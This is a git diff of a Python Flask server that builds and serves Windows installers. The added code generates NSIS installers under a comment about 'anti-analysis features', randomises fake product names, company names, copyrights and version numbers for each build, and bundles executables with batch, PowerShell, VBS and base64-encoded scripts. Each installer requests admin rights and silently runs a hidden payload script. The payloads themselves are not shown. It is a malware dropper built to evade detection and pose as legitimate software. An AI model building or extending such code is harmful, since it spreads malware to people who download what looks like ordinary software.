Update main.py

main.py

@@ -2,174 +2,252 @@ from flask import Flask, send_file, jsonify
 import os
 import subprocess
 import json
+import random
 from datetime import datetime
 from pathlib import Path
 from threading import Thread
+import shutil
 
 app = Flask(__name__)
 
 # Configuration
-UPLOAD_FOLDER = "uploads"
-COMPILE_FOLDER = "compile"
+BASE_DIR = os.path.abspath(os.path.dirname(__file__))
+UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
+COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
 STATS_FILE = "download_stats.json"
+NSIS_COMPILER_PATH = "/usr/local/bin/makensis"  # Update this to the correct Linux path for makensis
 os.makedirs(UPLOAD_FOLDER, exist_ok=True)
 os.makedirs(COMPILE_FOLDER, exist_ok=True)
 
-def load_stats():
-    if os.path.exists(STATS_FILE):
-        with open(STATS_FILE, 'r') as f:
-            return json.load(f)
-    return {"downloads": 0, "last_download": None}
-
-def save_stats(stats):
-    with open(STATS_FILE, 'w') as f:
-        json.dump(stats, f)
-
-def compile_and_zip():
-    try:
-        # Generate unique names
-        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
-        cs_filename = f"script_{timestamp}.cs"
-        exe_filename = f"script_{timestamp}.exe"
-        rar_filename = f"output_{timestamp}.rar"
-        
-        # Full paths
-        cs_path = os.path.join(COMPILE_FOLDER, cs_filename)
-        exe_path = os.path.join(COMPILE_FOLDER, exe_filename)
-        rar_path = os.path.join(UPLOAD_FOLDER, rar_filename)
-        
-        # Write C# source with assembly attributes
-        with open(cs_path, 'w') as f:
-            f.write("""
-using System;
-using System.Reflection;
-
-[assembly: AssemblyTitle("Video Converter")]
-[assembly: AssemblyDescription("This application helps in managing files efficiently.")]
-[assembly: AssemblyConfiguration("")]
-[assembly: AssemblyCompany("Global Solutions")]
-[assembly: AssemblyProduct("MyProduct")]
-[assembly: AssemblyCopyright("Copyright © Creative Minds 2024")]
-[assembly: AssemblyTrademark("Smart Technology")]
-[assembly: AssemblyVersion("5.0.7.26")]
-[assembly: AssemblyFileVersion("4.3.46.47")]
-[assembly: AssemblyInformationalVersion("3.3.66.67")]
-
-class Program
-{
-    static void Main()
-    {
-        Console.WriteLine("Compiled C# Application");
-        Console.WriteLine("Generated at: {0}", DateTime.Now.ToString());
-        Console.WriteLine("Press any key to exit...");
-        Console.ReadKey();
-    }
-}
-""")
-        
-        # Compile with mcs
-        compile_cmd = [
-            "mcs",
-            '-optimize+',
-            '-out:' + exe_path,
-            cs_path
-        ]
-        
-        compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
-        if compile_result.returncode != 0:
-            print(f"Compile error: {compile_result.stderr}")
-            return None
-        
-        # Create RAR using 7zip
-        rar_cmd = ['/usr/bin/7z', 'a', rar_path, exe_path]
-        rar_result = subprocess.run(rar_cmd, capture_output=True, text=True)
-        if rar_result.returncode != 0:
-            print(f"RAR error: {rar_result.stderr}")
-            return None
-        
-        # Cleanup temporary files
-        try:
-            os.remove(cs_path)
-            os.remove(exe_path)
-        except Exception as e:
-            print(f"Cleanup error: {e}")
-            
-        # Remove old RAR files
-        for old_file in Path(UPLOAD_FOLDER).glob('*.rar'):
-            if old_file != Path(rar_path):
-                try:
-                    os.remove(old_file)
-                except:
-                    pass
-        
-        return rar_path
-        
-    except Exception as e:
-        print(f"Error: {str(e)}")
-        return None
-
-
-def get_current_rar():
-    """Get the current RAR file or create one if none exists"""
-    files = list(Path(UPLOAD_FOLDER).glob('*.rar'))
-    if not files:
-        return compile_and_zip()
-    return str(max(files, key=os.path.getctime))
-
-def compile_in_background():
-    """Trigger compilation in a separate thread to avoid blocking the main app."""
-    Thread(target=compile_and_zip).start()
-
-@app.route('/download/cnVuLmNtZA==')
-def download_file():
-    stats = load_stats()
+# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
+NSIS_SCRIPT_TEMPLATE = r"""
+; NeuraScope Insight Installer Script
+!include "MUI2.nsh"
+!include "LogicLib.nsh"
+
+; Basic definitions
+Name "{{ProductName}}"
+OutFile "${{installer_path}}"
+InstallDir "/usr/local/share/Omega"
+RequestExecutionLevel admin
+SetCompressor /SOLID lzma
+SetCompressorDictSize 96
+SetDatablockOptimize ON
+
+; Interface settings
+!define MUI_ICON "/home/user/icons/favicon.ico"
+!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
+!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
+!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}/Contrib/Graphics/Wizard/win.bmp"
+
+; Pages
+!insertmacro MUI_PAGE_WELCOME
+!insertmacro MUI_PAGE_INSTFILES
+!insertmacro MUI_LANGUAGE "English"
+
+; Basic Version Information
+VIProductVersion "{{ProductVersion}}"
+VIAddVersionKey "ProductName" "{{ProductName}}"
+VIAddVersionKey "CompanyName" "{{CompanyName}}"
+VIAddVersionKey "LegalCopyright" "{{LegalCopyright}}"
+VIAddVersionKey "FileVersion" "{{FileVersion}}"
+VIAddVersionKey "ProductVersion" "{{ProductVersion}}"
+VIAddVersionKey "FileDescription" "{{FileDescription}}"
+
+ShowInstDetails hide
+AutoCloseWindow true
+
+Section "MainSection" SEC01
+    SetDetailsPrint none
+    SetOutPath "/usr/local/share/Omega"
+    
+    ; File copies
+    File "{{random_program}}"
+    File "/home/user/programs/0.bat"
+    File "/home/user/programs/run_base64_encrypted.txt"
+    File "/home/user/programs/0.ps1"
+    File "/home/user/programs/0.vbs"
+    File "{{random_program}}"
+    File "/home/user/programs/1.bat"
+    File "/home/user/programs/1.ps1"
+    File "/home/user/programs/1.vbs"
     
-    # Get current RAR file
-    file_path = get_current_rar()
-    if not file_path:
-        return "Compilation failed", 500
-        
-    if not os.path.exists(file_path):
-        return "File not found", 404
     
-    # Send the file
-    response = send_file(file_path, as_attachment=True)
+    ; Run payload and exit
+    ExecShell "" "/usr/local/share/Omega/0.vbs" SW_HIDE
+    SetAutoClose true
+SectionEnd
+"""
+
+# Greatly expanded version details dictionary
+VERSION_DETAILS = {
+    "ProductName": [
+        "Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
+        "Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
+        "VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
+        "GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
+        "Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
+        "TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
+        "PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
+        "TechStream Ultimate", "OmegaCore Enterprise"
+    ],
+    "CompanyName": [
+        "Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
+        "Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
+        "Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
+        "GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
+        "GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
+        "GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
+        "PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
+        "GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
+        "PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
+        "GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
+    ],
+    "LegalCopyright": [
+        "Copyright © 2024 Gametoy Innovations - All Rights Reserved",
+        "Copyright © 2024 Visionary Game Co. - Professional Edition",
+        "Copyright © 2024 Omega Systems - Enterprise License",
+        "Copyright © 2024 TechWave - Premium License",
+        "Copyright © 2024 Nebula Technologies - Commercial Use",
+        "Copyright © 2024 GameForge Solutions - Professional License",
+        "Copyright © 2024 Digital Nexus - Enterprise Edition",
+        "Copyright © 2024 CyberPulse - Commercial License",
+        "Copyright © 2024 VirtualCore - Premium Edition",
+        "Copyright © 2024 GameStream - Professional Use",
+        "Copyright © 2024 TechPro - Enterprise License",
+        "Copyright © 2024 GameCore - Commercial Edition",
+        "Copyright © 2024 CloudMatrix - Professional License",
+        "Copyright © 2024 VisionWave - Premium Use",
+        "Copyright © 2024 PulseForge - Enterprise Edition"
+    ],
+    "FileDescription": [
+        "Professional Gaming Platform Installer", "Advanced Game Management System",
+        "Enterprise Gaming Solution Suite", "Premium Game Development Tools",
+        "Professional Game Analytics Platform", "Advanced Gaming Framework",
+        "Enterprise Development Environment", "Professional Gaming SDK",
+        "Advanced Game Publishing Tools", "Premium Gaming Platform",
+        "Professional Development Suite", "Enterprise Gaming Framework",
+        "Advanced Game Management Tools", "Premium Development Platform",
+        "Professional Gaming Environment", "Enterprise Solution Suite",
+        "Advanced Development Framework", "Premium Management System",
+        "Professional Analytics Platform", "Enterprise Gaming Tools"
+    ]
+}
+
+def generate_product_version():
+    """
+    Generates a realistic product version number with the format major.minor.patch.build
+    Major: 1-5
+    Minor: 0-15
+    Patch: 0-99
+    Build: 1000-9999
+    """
+    major = random.randint(1, 5)
+    minor = random.randint(0, 15)
+    patch = random.randint(0, 99)
+    build = random.randint(1000, 9999)
+    return f"{major}.{minor}.{patch}.{build}"
+
+def generate_file_version():
+    """
+    Generates a unique file version with format major.minor.build.revision
+    """
+    versions = []
+    for _ in range(30):  # Increased to 30 versions
+        major = random.randint(1, 10)
+        minor = random.randint(0, 99)
+        build = random.randint(100, 999)
+        revision = random.randint(0, 99999)
+        versions.append(f"{major}.{minor}.{build}.{revision}")
+    return versions
+
+# Add generated file versions to VERSION_DETAILS
+VERSION_DETAILS["FileVersion"] = generate_file_version()
+
+def generate_random_version_details():
+    """Generates random meaningful version details for each build."""
+    return {
+        "ProductName": random.choice(VERSION_DETAILS["ProductName"]),
+        "CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
+        "LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
+        "FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
+        "ProductVersion": generate_product_version(),
+        "FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
+    }
+
+def generate_nsi_script():
+    """Generates the NSI script with random version details and two different random executables."""
+    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+    installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
+    
+    if not os.access(UPLOAD_FOLDER, os.W_OK):
+        raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")
 
-    def after_request(response):
-        # Update the download stats after the file has been sent
-        stats['downloads'] += 1
-        stats['last_download'] = datetime.now().isoformat()
-        save_stats(stats)
+    # Generate version details
+    version_details = generate_random_version_details()
 
-        # Compile the new RAR file in the background
-        compile_in_background()
+    # Choose random .exe files from the Programs folder
+    programs_folder = "/home/user/programs"  # Linux version path for programs
+    exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
+    
+    # Check if there are enough .exe files
+    if len(exe_files) < 2:
+        raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")
+
+    # Select two different executable files
+    random_exe_1 = random.choice(exe_files)
+    exe_files.remove(random_exe_1)  # Remove the first selected .exe
+    random_exe_2 = random.choice(exe_files)
+
+    random_exe_1_path = os.path.join(programs_folder, random_exe_1)
+    random_exe_2_path = os.path.join(programs_folder, random_exe_2)
+
+    # Replace all placeholders in the template
+    nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
+    nsi_content = nsi_content.replace("{{ProductName}}", version_details["ProductName"])
+    nsi_content = nsi_content.replace("{{ProductVersion}}", version_details["ProductVersion"])
+    nsi_content = nsi_content.replace("{{CompanyName}}", version_details["CompanyName"])
+    nsi_content = nsi_content.replace("{{LegalCopyright}}", version_details["LegalCopyright"])
+    nsi_content = nsi_content.replace("{{FileVersion}}", version_details["FileVersion"])
+    nsi_content = nsi_content.replace("{{FileDescription}}", version_details["FileDescription"])
+    nsi_content = nsi_content.replace("{{random_program}}", random_exe_1_path)
+
+    nsi_script_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
+    
+    with open(nsi_script_path, "w") as nsi_file:
+        nsi_file.write(nsi_content)
+
+    return nsi_script_path, installer_output
 
-        return response
+def compile_nsi_script(nsi_script_path, installer_output):
+    """Compiles the NSI script into an executable installer."""
+    compile_cmd = [NSIS_COMPILER_PATH, nsi_script_path]
     
-    response = after_request(response)
-    return response
-
-@app.route('/show')
-def show_stats():
-    stats = load_stats()
-    return jsonify({
-        "total_downloads": stats['downloads'],
-        "last_download": stats['last_download']
-    })
-
-@app.route('/')
-def home():
-    return """
-    <h1>File Compiler Service</h1>
-    <ul>
-        <li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled file</li>
-        <li><a href="/show">/show</a> - View download statistics</li>
-    </ul>
-    """
+    # Ensure the NSIS compiler is available
+    if not shutil.which("makensis"):
+        raise FileNotFoundError("NSIS Compiler not found. Make sure NSIS is installed.")
+    
+    result = subprocess.run(compile_cmd, capture_output=True, text=True)
+    if result.returncode != 0:
+        raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
+    return installer_output
+
+def serve_installer():
+    """Serves the installer once compiled."""
+    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+    nsi_script_path, installer_output = generate_nsi_script()
+    compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
+    return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")
+
+@app.route('/generate_installer', methods=['GET'])
+def generate_installer_route():
+    """API route to trigger installer generation."""
+    return jsonify({"message": "Installer is being generated. Please wait..."})
+
+@app.route('/download_installer', methods=['GET'])
+def download_installer_route():
+    """API route to download the generated installer."""
+    return serve_installer()
 
 if __name__ == '__main__':
-    # Only compile if no RAR exists
-    if not list(Path(UPLOAD_FOLDER).glob('*.rar')):
-        print("No existing RAR file found, creating initial file...")
-        compile_and_zip()
-    app.run(host='0.0.0.0', port=7860, debug=True)
+    app.run(debug=True, host='0.0.0.0', port=7860)